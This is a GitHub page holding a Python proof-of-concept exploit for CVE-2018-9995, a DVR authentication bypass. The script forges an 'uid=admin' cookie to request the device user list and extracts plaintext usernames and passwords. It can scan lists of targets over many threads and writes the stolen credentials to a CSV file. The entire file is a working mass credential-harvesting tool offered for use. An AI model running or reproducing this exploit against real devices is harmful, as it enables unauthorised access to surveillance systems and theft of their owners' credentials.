-
Notifications
You must be signed in to change notification settings - Fork 3
/
CVE-2018-9995.py
131 lines (104 loc) · 4.99 KB
/
CVE-2018-9995.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/python3
import csv
import json
import requests
import argparse
import concurrent.futures
from rich.table import Table
from rich.console import Console
from alive_progress import alive_bar
class DVRAuthBypassExploit:
def __init__(self):
self.color = Console()
self.vulnerable_urls = []
self.mass_exploit = False
def display_credentials_in_table(self, table, url, credentials):
usernames = "\n".join([cred[0] for cred in credentials])
passwords = "\n".join([cred[1] for cred in credentials])
table.add_row(url, usernames, passwords)
def display_credentials(self, credentials, url):
table = Table(title="DVR Credentials")
table.add_column("URL", style="cyan", justify="left")
table.add_column("Username", style="magenta", justify="left")
table.add_column("Password", style="green", justify="left")
for username, password in credentials:
table.add_row(url, username, password)
self.color.print(table)
def check_vulnerability(self, url, mass_exploit):
full_url = "{}".format(url) + "/device.rsp?opt=user&cmd=list"
headers = {
"Cookie": "uid=admin",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
}
try:
response = requests.get(full_url, headers=headers, verify=False, timeout=5)
if response.status_code in [200, 302]:
credentials = self.extract_credentials(response.text)
if credentials:
self.vulnerable_urls.append((url, credentials))
self.color.print(f"[bold red][+] {url} is vulnerable![/bold red]")
return url, bool(credentials)
except requests.Timeout:
self.color.print(f"[-] {url} - Request timed out!") if not self.mass_exploit else None
return url, False
except Exception as e:
self.color.print(f"[-] {url} - Error: {str(e)}") if not self.mass_exploit else None
return url, False
def extract_users_and_passwords(self, data):
users_passwords = []
if 'list' in data:
for user_data in data['list']:
uid = user_data.get('uid', 'Unknown User')
pwd = user_data.get('pwd', 'Unknown Password')
users_passwords.append((uid, pwd))
return users_passwords
def extract_credentials(self, response_text):
try:
json_format = json.loads(response_text)
return self.extract_users_and_passwords(json_format)
except json.JSONDecodeError:
return []
def run(self, urls, threads):
results = []
table = Table(title="DVR Credentials", show_header=True, header_style="bold magenta", show_lines=True)
table.add_column("URL", style="cyan", justify="left")
table.add_column("Username", style="magenta", justify="left")
table.add_column("Password", style="green", justify="left")
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
with alive_bar(len(urls), title="Scanning", bar="smooth") as bar:
for result in executor.map(self.check_vulnerability, urls, [True]*len(urls)):
results.append(result)
bar()
consolidated_urls = {}
for url, credentials in self.vulnerable_urls:
if url not in consolidated_urls:
consolidated_urls[url] = []
consolidated_urls[url].extend(credentials)
for url, credentials in consolidated_urls.items():
self.display_credentials_in_table(table, url, credentials)
self.color.print(table)
return results
def main():
parser = argparse.ArgumentParser(description="CVE-2018-9995 - DVR Authentication Bypass PoC Exploit")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File with list of target URLs")
parser.add_argument("-o", "--output", help="Output CSV file to store results", default="results.csv")
parser.add_argument("--threads", help="Number of threads for concurrent scanning", default=50, type=int)
args = parser.parse_args()
exploit = DVRAuthBypassExploit()
urls = []
if args.url:
urls.append(args.url)
elif args.file:
exploit.mass_exploit = True
with open(args.file, 'r') as file:
urls = file.read().splitlines()
results = exploit.run(urls, args.threads)
with open(args.output, 'w', newline='') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(["URL", "Credentials"])
for url, creds in exploit.vulnerable_urls:
credentials_combined = "\n".join([f"{username}:{password if password else 'blank'}" for username, password in creds])
writer.writerow([url, credentials_combined])
if __name__ == "__main__":
main()